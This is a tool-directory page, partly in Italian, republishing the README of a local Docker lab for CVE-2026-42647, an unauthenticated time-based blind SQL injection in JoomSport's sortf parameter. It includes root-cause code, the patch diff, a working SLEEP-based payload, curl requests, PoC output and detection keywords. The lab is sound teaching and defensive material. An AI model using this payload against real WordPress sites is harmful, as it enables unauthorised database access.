Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-42647-Lab | Kitploit
Strumenti/GitHubGitHub/rootdirective-sec/cve-2026-42647-lab
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubrootdirective-sec/cve-2026-42647-lab

CVE-2026-42647-Lab

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-42647 - SQL injection cieca basata sul tempo non autenticata in JoomSport tramite sortf

Sintesi esecutiva

Questo repository contiene un laboratorio Docker locale per riprodurre e validare la CVE-2026-42647, una vulnerabilità di SQL injection non autenticata che interessa il plugin WordPress JoomSport - for Sports: Team & League, Football, Hockey & more.

Il comportamento vulnerabile si verifica nella funzionalità di ordinamento dell'elenco dei giocatori. Un visitatore pubblico può controllare il parametro di query sortf, che viene utilizzato per costruire una clausola SQL ORDER BY. Nelle versioni vulnerabili, il valore viene sanificato come testo e racchiuso tra backtick, ma non viene verificato contro una allowlist rigorosa prima di essere aggiunto alla query SQL.

Questo laboratorio confronta due versioni di JoomSport:

ServizioVersione JoomSportScopoURL
vuln5.7.6Obiettivo vulnerabile di confrontohttp://localhost:8081
patched5.7.8Obiettivo corretto di confrontohttp://localhost:8082

Gli advisory pubblici identificano le versioni precedenti alla 5.7.8 come vulnerabili e la 5.7.8 come versione corretta. Questo laboratorio utilizza la 5.7.6 come obiettivo vulnerabile perché un tag sorgente 5.7.7 non era disponibile nell'elenco dei tag SVN del plugin WordPress.org al momento della preparazione di questo laboratorio.

La catena di vulnerabilità dimostrata è:```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field

root@kitploit:~
This lab validates the vulnerability as a time-based blind SQL injection. It does not perform database dumping, credential extraction, data modification, or destructive SQL operations.

This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.

## Verified Facts

| Claim                                                                           | Evidence                                                                                                                     | How to verify in this lab                                                  |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| JoomSport before 5.7.8 is reported vulnerable to unauthenticated SQL injection. | Public advisories identify JoomSport `< 5.7.8` / `<= 5.7.7` as affected.                                                     | Review the References section and compare the vulnerable/patched services. |
| JoomSport 5.7.8 is the fixed version.                                           | Public advisories and source comparison show that 5.7.8 validates the `sortf` value before building the ordering expression. | Inspect `class-jsport-playerlist.php` in both versions.                    |
| The affected parameter is `sortf`.                                              | The vulnerable player list code reads `classJsportRequest::get('sortf')`.                                                    | Run the PoC and observe the injected `sortf` request.                      |
| The vulnerable code builds a dynamic SQL ordering value from user input.        | In the vulnerable version, `sortf` is used to build `$options['ordering']`.                                                  | Inspect `sportleague/classes/objects/class-jsport-playerlist.php`.         |
| The SQL sink is an `ORDER BY` clause.                                           | The generated `$ordering` value is later appended into an SQL query with `ORDER BY`.                                         | Inspect `sportleague/base/wordpress/classes/class-jsport-getplayers.php`.  |
| The patch uses an allowlist-style fix.                                          | The patched version introduces allowed static columns and expected dynamic field patterns before using the sort field.       | Compare JoomSport 5.7.6 and 5.7.8 source.                                  |
| The lab demonstrates time-based blind SQL injection.                            | The vulnerable target delays when an injected `SLEEP()` expression is used; the patched target does not.                     | Run `python3 poc/poc.py http://localhost:8081 http://localhost:8082`.      |

## Assumptions and Unknowns

This lab uses JoomSport 5.7.6 as the vulnerable comparison target because the public fixed version is 5.7.8 and a 5.7.7 source tag was not available in the WordPress.org plugin SVN tag listing when the lab was prepared.

The lab does not claim that 5.7.6 is the only vulnerable version. It is used as a reproducible vulnerable baseline for comparing vulnerable behavior against the patched 5.7.8 behavior.

The lab focuses on the `sortf` parameter in the player list sorting flow.

The demonstrated impact is time-based blind SQL injection. The lab does not demonstrate:

* direct database dumping,
* credential extraction,
* authentication bypass,
* privilege escalation,
* arbitrary data modification,
* remote code execution,
* persistence,
* external callbacks,
* or attacks against non-lab systems.

Error-based or boolean-based behavior may be possible depending on database behavior, application configuration, and response differences, but this lab does not rely on those techniques. The primary proof is timing-based.

## Root Cause Summary

The root cause is unsafe construction of a dynamic SQL `ORDER BY` clause from the `sortf` request parameter.

The vulnerable code path starts in:```text
sportleague/classes/objects/class-jsport-playerlist.php

Nella logica di caricamento dell'elenco giocatori, JoomSport legge il parametro di richiesta:```text sortf

root@kitploit:~
e lo usa per costruire:```text
$options['ordering']

Il pattern sorgente vulnerabile rilevante è:```php if (classJsportRequest::get('sortf')) { $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC"; $options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD; }

root@kitploit:~
Il problema non è principalmente il parametro `sortd`. Il valore di `sortd` è limitato a:```text
ASC
DESC

Il problema è il parametro sortf perché controlla la posizione dell'identificatore/espressione SQL utilizzata per l'ordinamento.

L'espressione pericolosa è:```php "".classJsportRequest::get('sortf').""

root@kitploit:~
Il codice inserisce l'input controllato dall'attaccante in un contesto di identificatore MySQL e poi lo passa come frammento di ordinamento SQL.

Il codice applica:```php
sanitize_text_field()

ma sanitize_text_field() non è una validazione di identificatori SQL. È progettato per pulire il testo, non per costruire in modo sicuro la sintassi SQL.

Il codice vulnerabile racchiude anche il campo di ordinamento controllato dall'utente tra backtick. Tuttavia, i backtick non sono un confine di sicurezza quando l'attaccante può influenzare il contenuto dell'identificatore. Se un attaccante può iniettare un backtick nel valore, può fuoriuscire dal contesto dell'identificatore previsto.

Il valore di ordinamento generato viene successivamente passato nella query di recupero del giocatore e aggiunto a una clausola SQL ORDER BY in:```text sportleague/base/wordpress/classes/class-jsport-getplayers.php

root@kitploit:~
Il pattern di sink è:```php
$query .= ' ORDER BY '.($ordering);

Questo crea il flusso di dati vulnerabile:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY

root@kitploit:~
Il problema di sicurezza è che l'applicazione tratta un parametro di richiesta controllato dall'utente come un identificatore/espressione SQL senza prima validarlo rispetto a una lista consentita rigorosa.

## Riepilogo della Patch Sorgente

La patch pertinente si trova in:```text
sportleague/classes/objects/class-jsport-playerlist.php

Nella versione vulnerabile, il codice dell'elenco dei giocatori costruisce $options['ordering'] direttamente dal valore della richiesta:```php if (classJsportRequest::get('sortf')) { $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC"; $options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD; }

root@kitploit:~
La parte vulnerabile è che `classJsportRequest::get('sortf')` viene usato all'interno dell'espressione di ordinamento SQL.

JoomSport 5.7.8 modifica questo comportamento introducendo una variabile di campo di ordinamento validata prima di costruire `$options['ordering']`.

La versione corretta inizializza un valore predefinito sicuro:```php
$sortFieldEsc = 'post_title';

Definisce quindi le colonne di ordinamento statico consentite:```php $sortCols = array("played", "career_minutes", "post_title");

root@kitploit:~
Quando `sortf` è presente, il codice patchato lo accetta solo se corrisponde a uno dei valori statici attesi:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
    $sortFieldEsc = classJsportRequest::get('sortf');
}

La patch consente inoltre i formati previsti per i campi dinamici event/stat:```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }

if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }

root@kitploit:~
L'ultima modifica rilevante per la sicurezza è che `$options['ordering']` viene costruito da `$sortFieldEsc` invece che dal valore grezzo della richiesta `sortf`:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;

Questo non rimuove l'ordinamento dinamico. Cambia il limite di fiducia.

Prima della patch:```text request sortf value directly controlled the ORDER BY identifier

root@kitploit:~
Dopo la patch:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern

Se l'attaccante invia un valore imprevisto come:```text post_title`DESC,(SLEEP(2))#

root@kitploit:~
il codice corretto non assegna quel valore a `$sortFieldEsc`.

Invece, il campo di ordinamento ricade su:```text
post_title

Ecco perché il servizio vulnerabile subisce ritardi, mentre il servizio corretto rimane vicino ai tempi di base.

La lezione di sicurezza dalla patch è:```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.

root@kitploit:~
## Architettura del laboratorio

Il laboratorio esegue due installazioni WordPress isolate tramite Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── init-wordpress.sh
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

I due servizi WordPress eseguono database separati e versioni separate dei plugin:

Servizi esposti di default:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

root@kitploit:~
Il processo di configurazione crea i dati JoomSport minimi necessari per renderizzare la route dell'elenco giocatori:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows

I servizi vulnerabili e corretti utilizzano la stessa struttura dei dati di laboratorio, in modo che il comportamento temporale possa essere confrontato equamente.

Requisiti

  • Docker Desktop o Docker Engine
  • Docker Compose v2
  • Python 3
  • Pacchetto Python requests per eseguire il PoC dall'host
  • Accesso a Internet durante la creazione dell'immagine Docker per recuperare le dipendenze di WordPress/JoomSport

Installa la dipendenza Python sull'host se necessario:```bash python3 -m pip install requests

root@kitploit:~
## Avvio rapido

Avvia il lab:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Osserva i contenitori di setup:```bash docker compose logs -f setup-vuln setup-patched

root@kitploit:~
Messaggi di completamento dell'installazione previsti:```text
[VULN] setup complete
[PATCHED] setup complete

Controlla lo stato del contenitore:```bash docker compose ps

root@kitploit:~
Servizi esposti previsti:```text
http://localhost:8081
http://localhost:8082

Esegui il PoC contro il target vulnerabile:```bash python3 poc/poc.py http://localhost:8081

root@kitploit:~
Esegui il PoC contro il target patchato:```bash
python3 poc/poc.py http://localhost:8082

Esegui il PoC contro entrambi i target in un unico comando:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082

root@kitploit:~
Per statistiche di temporizzazione più stabili, aumenta il numero di round:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

Puoi anche regolare il tempo di sleep richiesto:```bash python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5

root@kitploit:~
## PoC Usage

La PoC controlla ogni target in modo indipendente.

Non richiede più opzioni separate `--vuln-url` o `--patched-url`. Invece, passa uno o più URL target come argomenti posizionali:```bash
python3 poc/poc.py <target_url> [target_url...]

Esempi:```bash python3 poc/poc.py http://localhost:8081 python3 poc/poc.py http://localhost:8082 python3 poc/poc.py http://localhost:8081 http://localhost:8082

root@kitploit:~
Se non viene fornito un URL di destinazione, lo script richiede interattivamente uno o più URL di destinazione locali.

Opzioni supportate:```text
--season-id   Seeded JoomSport season post ID. Default: 4
--rounds      Number of requests per baseline/injected series. Default: 3
--sleep       SLEEP() seconds used in the timing payload. Default: 2

Il PoC è intenzionalmente limitato all'ambito locale. Accetta target in stile localhost come:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
Il PoC rifiuta di default i target non locali.

## Come decide il PoC

Per ogni target, il PoC esegue due serie temporali:```text
[1/2] Baseline timing
[2/2] Injected timing

La richiesta baseline utilizza un normale campo di ordinamento:```text sortf=post_title

root@kitploit:~
La richiesta iniettata utilizza un payload di timing solo locale nel parametro `sortf`:```text
sortf=post_title`DESC,(SLEEP(2))#

Il PoC calcola:```text delta = injected median - baseline median

root@kitploit:~
| Verdict           | Meaning                                                     |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | La richiesta iniettata è significativamente più lenta rispetto alla baseline. |
| `PATCHED-LIKE`    | La richiesta iniettata rimane vicina alla baseline.          |
| `UNREACHABLE`     | Il target non è raggiungibile.                              |
| `INCONCLUSIVE`    | Alcuni dati temporali risultano mancanti o incompleti.       |

Regola decisionale predefinita:```text
injected median - baseline median >= 60% of requested SLEEP()

Per il --sleep 2 predefinito, la soglia è:```text 1.200s median delta

root@kitploit:~
Ciò significa che un target viene segnalato come `VULNERABLE-LIKE` solo quando la richiesta iniettata è chiaramente più lenta rispetto alla propria baseline.

I target non raggiungibili o inconcludenti non vengono conteggiati come corretti.

## Riproduzione manuale HTTP con curl

Puoi riprodurre la validazione manualmente senza usare il PoC Python.

Richiesta baseline vulnerabile:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Richiesta vulnerabile iniettata:```bash curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'

root@kitploit:~
Richiesta baseline patchata:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Richiesta iniettata patchata:```bash curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'

root@kitploit:~
Confronto atteso:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched    -> injected request stays near baseline timing

Output Previsto

Target Vulnerabile

Comando:```bash python3 poc/poc.py http://localhost:8081

root@kitploit:~
Segnale vulnerabile previsto:```text
CVE-2026-42647 JoomSport local timing validation
Scope     : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic     : baseline timing vs injected timing per target

Targets           : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta

================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#

[1/2] Baseline timing
  run 01: status=200 time=0.092s bytes=75333
  run 02: status=200 time=0.044s bytes=75333
  run 03: status=200 time=0.046s bytes=75333
  summary   median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
  summary   status=200x3 bytes=75333

[2/2] Injected timing
  run 01: status=200 time=6.050s bytes=75321
  run 02: status=200 time=6.058s bytes=75321
  run 03: status=200 time=6.095s bytes=75321
  summary   median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
  summary   status=200x3 bytes=75321

Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta           : 6.011s
Ratio           : 130.8x
Threshold       : 1.200s
Verdict         : VULNERABLE-LIKE

Interpretation  : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.

Riepilogo finale delle vulnerabilità:```text Final summary

Target Base med Inj med Delta Ratio Verdict

http://localhost:8081/ 0.046s 6.058s 6.011s 130.8x VULNERABLE-LIKE

VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 0 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0

RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.

root@kitploit:~
### Target patchato

Comando:```bash
python3 poc/poc.py http://localhost:8082

Segnale corretto previsto:```text Target decision

Baseline median : around normal baseline timing Injected median : around normal baseline timing Delta : below threshold Ratio : near 1.0x Threshold : 1.200s Verdict : PATCHED-LIKE

Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.

root@kitploit:~
### Obiettivi Multipli

Comando:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082

Risultato atteso:```text VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 1 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0

RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.

root@kitploit:~
### Obiettivo non raggiungibile

Se un target non è attivo, il PoC dovrebbe segnalare `UNREACHABLE`, non `PATCHED-LIKE`.

Esempio:```bash
python3 poc/poc.py http://localhost:8083

Decisione prevista:```text Verdict : UNREACHABLE

Interpretation : the target could not be reached. No vulnerability decision was made for this target.

root@kitploit:~
I target irraggiungibili non vengono conteggiati come corretti.

## Come funziona il PoC

Il PoC sonda la rotta dell'elenco giocatori di JoomSport per un post di stagione preimpostato.

La rotta di destinazione è equivalente a:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC

La richiesta di base utilizza:```text sortf=post_title

root@kitploit:~
Questo dovrebbe produrre un normale ordinamento della lista dei giocatori.

La richiesta iniettata utilizza:```text
sortf=post_title`DESC,(SLEEP(2))#

Il codice vulnerabile racchiude sortf tra backtick e aggiunge una direzione di ordinamento. Il valore iniettato è progettato per uscire dal contesto dell'identificatore previsto e introdurre un'espressione temporale nella clausola ORDER BY.

Concettualmente, il frammento SQL vulnerabile diventa simile a:```sql ORDER BY post_title DESC, (SLEEP(2))

root@kitploit:~
Il marcatore di commento `#` impedisce al backtick finale e alla direzione di interferire con l'espressione iniettata.

Questo non è un payload di query impilate. Non inietta:```sql
; SELECT SLEEP(2);

Invece, inietta un'espressione SQL all'interno del contesto ORDER BY esistente.

La versione patchata non esegue l'espressione iniettata perché il valore sortf viene verificato rispetto ai campi di ordinamento consentiti e ripiega su post_title quando il valore è inatteso.

Impatto

Questo laboratorio dimostra una SQL injection blind basata sul tempo non autenticata nel parametro sortf dell'elenco giocatori JoomSport.

La versione vulnerabile esegue un'espressione SQL di temporizzazione iniettata attraverso la clausola ORDER BY, producendo un chiaro ritardo nella risposta. La versione patchata non subisce ritardi perché il campo di ordinamento iniettato viene rifiutato e sostituito con un valore sicuro presente nella allowlist.

Il laboratorio dimostra solo l'esecuzione SQL basata sul tempo. Non dimostra estrazione di dati, modifica di dati, bypass dell'autenticazione, escalation dei privilegi o esecuzione remota di codice.

Rilevamento e Monitoraggio

Gli indicatori potenziali includono richieste dirette alle route dell'elenco giocatori JoomSport con valori sortf insoliti.

Esempio di pattern di richiesta sospetto:```text GET /?post_type=joomsport_season&p=&action=playerlist&sortf=<unexpected_value>&sortd=ASC

root@kitploit:~
Caratteristiche sospette di `sortf`:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings

Esempio di richiesta di laboratorio locale:```text sortf=post_title`DESC,(SLEEP(2))#

root@kitploit:~
Segnale vulnerabile previsto:```text
HTTP 200 response with significant timing delay

Segnale patchato previsto:```text HTTP 200 response without significant timing delay

root@kitploit:~
Potentiali idee per il monitoraggio in produzione:

* Esaminare i log di accesso web per valori `sortf` insoliti.
* Avvisare in presenza di parole chiave SQL o marcatori di commento nei parametri di ordinamento.
* Monitorare le richieste ripetute alle route dell'elenco giocatori di JoomSport con piccole modifiche ai parametri.
* Monitorare le query di database lente che coinvolgono le tabelle dell'elenco giocatori di JoomSport.
* Correlare le richieste lente con il traffico pubblico non autenticato.
* Verificare se JoomSport è installato e se la sua versione è precedente alla 5.7.8.

## Note sulla mitigazione e sulla patch

Aggiornare JoomSport alla versione 5.7.8 o successiva.

La versione corretta vincola il parametro `sortf` ai campi di ordinamento attesi e ai pattern di campi dinamici. I valori imprevisti ricadono su un campo di ordinamento predefinito sicuro.

Indicazioni di mitigazione a livello applicativo:

* Aggiornare il plugin JoomSport.
* Non esporre versioni obsolete del plugin su siti WordPress pubblici.
* Esaminare i log web per parametri `sortf` sospetti.
* Disabilitare o limitare le funzionalità interessate solo come mitigazione temporanea se un aggiornamento immediato non è possibile.
* Utilizzare una regola del Web Application Firewall come livello temporaneo, non come sostituto della patch.
* Trattare gli identificatori SQL dinamici in modo diverso dai valori normali: usare allowlist per nomi di colonne, nomi di tabelle, direzioni di ordinamento e componenti simili della sintassi SQL.

Il controllo più importante è l'allowlist. L'escaping da solo non è una soluzione completa per gli identificatori SQL dinamici.

## Comandi utili per la verifica

Controllare i container in esecuzione:```bash
docker compose ps

Guarda i log di configurazione:```bash docker compose logs -f setup-vuln setup-patched

root@kitploit:~
Controlla i servizi WordPress:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082

Esegui il PoC contro il servizio vulnerabile:```bash python3 poc/poc.py http://localhost:8081

root@kitploit:~
Esegui il PoC contro il servizio patchato:```bash
python3 poc/poc.py http://localhost:8082

Esegui il PoC contro entrambi i servizi:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082

root@kitploit:~
Esegui il PoC con più round:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

Salva evidenza:```bash mkdir -p evidence

python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
| tee evidence/timing-validation.txt

docker compose ps
| tee evidence/docker-compose-ps.txt

docker compose logs vuln patched setup-vuln setup-patched \

evidence/docker-compose-logs.txt

root@kitploit:~
Controlla le versioni dei plugin all'interno di WordPress:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

Ispeziona il sorgente vulnerabile:```bash docker compose exec -T vuln sh -lc
"grep -R "sortf\|ordering" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

root@kitploit:~
Ispeziona il sorgente patchato:```bash
docker compose exec -T patched sh -lc \
  "grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

Ispeziona il sink SQL:```bash docker compose exec -T vuln sh -lc
"grep -R "ORDER BY" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"

root@kitploit:~
## Pulizia

Ferma e rimuovi i container e le reti:```bash
docker compose down --remove-orphans

Rimuovi container, reti e volumi:```bash docker compose down -v --remove-orphans

root@kitploit:~
Rimuovi i file di prova se creati:```bash
rm -rf evidence/

Limiti di sicurezza

Questo laboratorio è destinato esclusivamente a ricerca sulla sicurezza locale e dimostrazioni controllate.

Non eseguire il PoC o i payload contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione a testare.

Non utilizzare credenziali reali, segreti di produzione o target esterni in questo laboratorio.

Il PoC è intenzionalmente limitato a servizi Docker locali come:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
Il PoC non include payload per il dumping di database, furto di credenziali, modifica dei dati, persistenza, movimento laterale o callback esterni.

L'obiettivo è dimostrare una specifica condizione tecnica in un ambiente controllato:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version

Riferimenti

  • Avviso Wordfence: JoomSport <= 5.7.7 - SQL Injection non autenticata tramite il parametro sortf https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter

  • Avviso Wordfence: JoomSport - for Sports: Team & League, Football, Hockey & more <= 5.7.7 - SQL Injection non autenticata https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection

  • Database delle vulnerabilità dei plugin WPScan: JoomSport https://wpscan.com/plugin/joomsport-sports-league-results-management/

  • Plugin WordPress.org: JoomSport - for Sports: Team & League, Football, Hockey & more https://wordpress.org/plugins/joomsport-sports-league-results-management/

  • Plugin SVN di WordPress.org https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/

  • Tag SVN del plugin WordPress.org https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/

  • OWASP Web Security Testing Guide: Test per SQL Injection https://owasp.org/www-project-web-security-testing-guide/

  • OWASP Cheat Sheet Series: Prevenzione della SQL Injection https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

Scarica lo strumento
ServiceComponentVersion / Role
vulnWordPress + JoomSportJoomSport 5.7.6
patchedWordPress + JoomSportJoomSport 5.7.8
db-vulnMariaDBdatabase per il target vulnerabile
db-patchedMariaDBdatabase per il target patchato
setup-vulnWP-CLI init serviceinstalla WordPress e popola il target vulnerabile
setup-patchedWP-CLI init serviceinstalla WordPress e popola il target patchato